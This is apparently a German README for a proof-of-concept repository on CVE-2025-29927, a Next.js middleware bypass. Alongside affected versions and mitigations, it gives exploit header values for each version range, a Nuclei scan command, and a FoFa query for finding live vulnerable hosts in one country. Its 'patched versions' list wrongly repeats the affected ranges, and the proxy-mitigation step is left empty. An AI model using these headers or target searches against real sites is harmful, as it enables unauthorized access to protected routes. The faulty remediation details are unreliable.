CVE-2025-29927

CVE-2025-29927: Next.js Middleware-Bypass-Schwachstelle Dieses Repository demonstriert die Schwachstelle CVE-2025-29927 in Next.js, bei der der interne Header x-middleware-subrequest verwendet werden kann, um Middleware-Überprüfungen wie die Authentifizierung zu umgehen.

Betroffene Versionen

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9

Abhilfe und Behebung

• Aktualisieren Sie Next.js auf die gepatchten Versionen:

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9

• Falls ein Upgrade nicht sofort möglich ist, blockieren oder entfernen Sie den Header x-middleware-subrequest auf Webserver- oder Proxy-Ebene:

Auswirkungsszenarien

• Autorisierungsumgehung: Angreifer können geschützte Routen ohne ordnungsgemäße Authentifizierung oder Autorisierung erreichen.
• Umgehung der Content Security Policy (CSP): Wenn CSP-Header über die Middleware hinzugefügt werden, können Angreifer diese Sicherheitskontrollen umgehen und möglicherweise Cross-Site-Scripting (XSS)-Angriffe ermöglichen.
• Denial-of-Service durch Cache-Vergiftung: In bestimmten Konfigurationen können Angreifer Caches mit nicht autorisierten Inhalten vergiften, indem sie Middleware umgehen, die Cache-Control-Header setzt.

Verwendung der NextJS-CVE-2025-29927 Nuclei-Vorlage

nuclei -u https://example.com -t ./CVE-2025-29927.yaml -fr

Ausnutzung in verschiedenen Next.js-Versionen

• Für Versionen vor 12.2:

x-middleware-subrequest: pages/_middleware
x-middleware-subrequest: pages/dashboard/_middleware
x-middleware-subrequest: pages/dashboard/panel/_middleware

• Für Versionen 12.2 und später:

x-middleware-subrequest: middleware
x-middleware-subrequest: src/middleware

• Für Versionen 13.2.0 und später:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Zielsuche mit FoFa

header="x-middleware-rewrite" && country="IR"

Kostenloser CTF hierzu

• CTF